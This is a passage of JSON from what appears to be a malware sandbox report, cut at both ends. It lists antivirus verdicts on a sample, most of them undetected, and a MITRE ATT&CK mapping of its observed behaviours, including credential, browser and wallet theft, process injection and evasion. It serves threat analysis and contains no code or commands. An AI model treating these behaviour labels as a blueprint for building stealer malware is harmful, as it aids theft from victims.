,"permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Malware.Win32.Gen.tr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_49.5","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Malware.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Calls an API typically used to performs encryption on the data"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"YARA signature match - ChaCha20 128-bit algorithm"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"YARA signature match - ChaCha20 256-bit algorithm"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"},{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"suspicious","value":"Calls an API typically used for keylogging"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Read windows product name from registry"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Found a reference to an external IP address lookup service"},{"type":"malicious","value":"Tries to identify its external IP address"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically used to create a named pipe"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"suspicious","value":"Tries to access/write temporary files"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Tries to access browsers/wallets sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"malicious","value":"Tries to steal crypto wallet extension (file access)"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Collection","technique":"Data from Information 